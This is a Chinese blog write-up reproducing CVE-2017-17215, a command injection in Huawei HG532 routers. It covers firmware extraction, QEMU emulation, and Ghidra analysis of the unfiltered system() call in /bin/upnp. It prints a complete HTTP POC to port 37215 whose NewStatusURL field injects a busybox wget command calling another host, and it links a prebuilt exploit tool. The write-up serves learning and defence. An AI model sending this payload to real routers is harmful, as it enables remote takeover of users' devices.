华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

安全入门
2022-11-10 05:21
110319

1.前言

这是afei入门IOT安全复现的第一个漏洞。在此之前通过黑盒已经get到了某路由器的一枚RCE,但我想了解漏洞原理,于是就来学习了,之前看了腹黑、孙爱民师傅的IOT漏洞挖掘的分享,学到了很多,希望这篇文章也能带领大家入门IOT安全。

2.漏洞概述

华为HG532系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。2017年11月27日Check Point团队报告华为HG532产品的远程命令执行漏洞(CVE-2017-17215)。通过认证的攻击者可以向37215端口发送恶意报文进行攻击。成功的利用可能导致远程执行任意代码。据vuldb描述,该漏洞被作为一个非公开的零日漏洞处理了至少85天。

CVE:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215

3.影响版本

Huawei HG532e
Huawei HG532s
Huawei HG532d

4.漏洞等级

高危

5.漏洞复现

5.1 漏洞环境搭建
复现环境:

Ubuntu16.04操作系统
qemu虚拟机
HG532eV100R001C01B020_upgrade_packet.bin固件
Ghidra逆向分析工具

1.提取固件
apt-get -y install binwalk     #需要提前安装binwalk
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin    #解压后主程序位于squashfs-root/目录下

2.下载qemu虚拟机
sudo apt-get install -y qemu binfmt-support qemu-user-static

3.下载镜像
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

4.配置网络,创建网桥,实现虚拟机内部和Ubuntu的连接
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.50.51/24 up

5.创建tap接口,添加到网桥
sudo apt install uml-utilities
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.50.52/24 up
sudo brctl addif Virbr0 tap0

6.qemu虚拟机配置,账号密码都为root
apt install qemu-system-mips
#记得到下载的镜像下进行启动 
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
#进入虚拟机后,配置ip地址,测试与主机的连通性
ifconfig eth0 192.168.50.53/24 up
ping 192.168.50.51 -c 3

7.搭建HG532e漏洞环境
#回到主机中将squashfs-root文件夹复制到虚拟机,根据提示输入密码root
scp -r squashfs-root/ root@192.168.50.53:~/ 

#进入启动的虚拟机,挂载程序文件
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
#启动shell,注意:这个shell是用来后面改IP地址的,
chroot squashfs-root sh
#在Ubuntu里面再单独开一个终端,使用ssh连接上去通过ssh启动的终端,启动路由器
ssh root@192.168.50.53 
chroot squashfs-root /bin/sh 
./bin/upnp 
./bin/mic

#此时的虚拟机的路由IP已经发生了变化,ssh已经断开了,所以需要返回虚拟机的终端进行更改IP地址
ifconfig eth0 192.168.50.53/24 up
ifconfig br0 192.168.50.52/24 up

image.png

至此,HG532e漏洞漏洞环境搭建成功。

5.2 漏洞复现

POC:

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Host: 192.168.50.53:37215
User-Agent: Mozilla/5.0 (iPad; CPU iPad OS 9_3_5 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) FxiOS/15.8w3010.0 Mobile/65J335 Safari/535.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Authorization: Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669
Content-Length: 449

<?xml version="1.0" ?>
         <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
          <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
           <NewStatusURL>;/bin/busybox wget http://192.168.50.51:9000;</NewStatusURL>
           <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
          </u:Upgrade>
         </s:Body>
        </s:Envelope>

image.png

该接口本来是没有权限访问的,通过构造的Authorization可绕过认证。其实这里采用的Digest摘要认证。

POCsuite复现:

image.png

编写goland工具复现:
考虑到该漏洞可能更多存在于内网,为了便于安全人员验证,所以编写了这个工具。

image.png

工具已经编译好上传至github:
https://github.com/ltfafei/HuaWei_Route_HG532_RCE_CVE-2017-17215

POCsuite与goland实现华为HG532路由器命令注入CVE-2017-17215 POC代码编写请参考:

POCsuite与goland实现华为HG532路由器命令注入CVE-2017-17215 POC_afei00123的博客-CSDN博客

5.3 漏洞分析
根据POC我们知道漏洞触发在37215端口,先找该端口对应的程序:

netstat -nltup |grep 37215

image.png

接着查找对应的路径ctrlt和DeviceUpgrade_1,但是在mic中并没有搜索到该路径对应的代码。还是全局搜索squashfs-root/程序内容吧:

grep -r ctrlt
grep -r DeviceUpgrade

image.png
搜索payload标签:

grep -r NewStatusURL
grep -r NewDownloadURL

image.png
/etc/upnp/DevUpg.xml定义了XML标签。
接下来我们使用Ghidra逆向分析工具分析/bin/upnp可执行文件,Ghidra会根据汇编代码生成C++的伪代码,比较容易看懂。全局搜索快捷键:Ctrl+Shirt+E。

image.png
image.png
可以看到此处使用了UpnpGetServiceByUrl函数来处理URL,继续搜索DeviceUpgrade关键词:
image.png

image.png

可以看到在ATP_UPNP_RegDeviceAndService()函数中调用到了DevCfg.xml标签文件,接着查找DevCfg.xml文件中payload中对应的标签NewStatusURL:

image.png

image.png

可以看到此处local_418和local_414参数可控,并且没有做任何过滤,直接赋值给acStack1040,然后调用system()函数,造成命令注入。
Digest摘要认证:
image.png

通过查看程序发现登录是在web程序中,并且做了登录失败阈值限制,关于利用漏洞需要Digest摘要认证这块还没搞懂。

漏洞分析原文:
https://blog.csdn.net/qq_41490561/article/details/127647926

6.修复建议

建议及时更新最新固件。下载地址:
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en

                    参考链接:
                    https://mp.weixin.qq.com/s/LoFqYGL_cl69o0xaDnlYqA
                    https://mp.weixin.qq.com/s/As40BU6FlrU_YwRoloL5jg
                    https://mp.weixin.qq.com/s/b3tfR6AR4TbeKTXQG7r10g
分享到

参与评论

0 / 200

全部评论 3

zebra的头像
学习大佬思路
2023-03-19 04:15
Hacking_Hui的头像
学习了
2023-02-01 06:20
成熟的魅力的头像
get到了
2022-12-16 03:28
投稿
签到
联系我们
关于我们